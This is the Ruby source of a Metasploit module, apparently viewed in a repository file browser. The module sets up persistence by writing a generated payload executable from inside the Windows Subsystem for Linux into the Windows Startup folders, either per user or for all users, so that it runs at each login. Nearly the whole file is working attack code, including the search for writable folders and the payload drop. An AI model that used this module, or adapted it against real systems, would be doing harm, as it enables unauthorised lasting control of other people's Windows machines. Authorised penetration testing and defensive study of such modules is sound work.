Files
metasploit-gs/modules/exploits/linux/persistence/wsl/startup_folder.rb
T

103 lines
3.5 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
include Msf::Post::Linux::Wsl
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux WSL via Startup Folder Persistence',
'Description' => %q{
This module establishes persistence by creating a payload in the windows startup folder from within
the Windows Subsystem for Linux (WSL) environment. This allows for code execution on Windows user login.
Verified on Windows 10 with Ubuntu 24.04 WSL distribution.
},
'License' => MSF_LICENSE,
'Author' => [ 'h00die' ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' => [
[ 'Automatic', {} ]
],
'DefaultTarget' => 0,
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
],
'DisclosureDate' => '2016-08-02', # WSL release date
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
OptEnum.new('CONTEXT', [false, 'Target each User or All Users (system)', 'USER', ['USER', 'SYSTEM'] ]),
OptString.new('USER', [false, 'The user to target, or ALL for all users.', 'ALL'], conditions: ['CONTEXT', '==', 'USER'])
]
)
end
def exploitable_folders
can_do = []
if datastore['CONTEXT'] == 'USER'
root = '/mnt/c/Users'
tail = '/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup'
user_folders = dir(root)
user_folders.each do |f|
next if f =~ /Public$/i
next if f =~ /Default$/i
next if f =~ /Default User$/i
next if f =~ /All Users$/i
next if f =~ /desktop.ini$/i
next unless (f.upcase == datastore['USER'].upcase) || (datastore['USER'] == 'ALL')
folder = File.join(root, f, tail)
can_do << folder if directory?(folder) && writable?(folder)
end
return can_do
end
root = '/mnt/c/ProgramData/Microsoft/Windows/Start Menu/Programs/Startup'
can_do << root if directory?(root) && writable?(root)
can_do
end
def check
return CheckCode::Safe('Target is not WSL') unless wsl?
vprint_good('Inside WSL environment')
return CheckCode::Safe('No writable startup folders found') if exploitable_folders.empty?
CheckCode::Appears('Likely exploitable')
end
def install_persistence
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
payload_name << '.exe' unless payload_name.downcase.end_with?('.exe')
payload_exe = generate_payload_exe
exploitable_folders.each do |folder|
f = File.join(folder, payload_name)
write_file(f, payload_exe)
vprint_good("Writing payload to #{f}")
windows_path = f.sub(%r{^/mnt/([a-z])}) { "#{::Regexp.last_match(1).upcase}:" }.gsub('/', '\\')
@clean_up_rc << "rm \"#{windows_path}\"\n"
end
end
end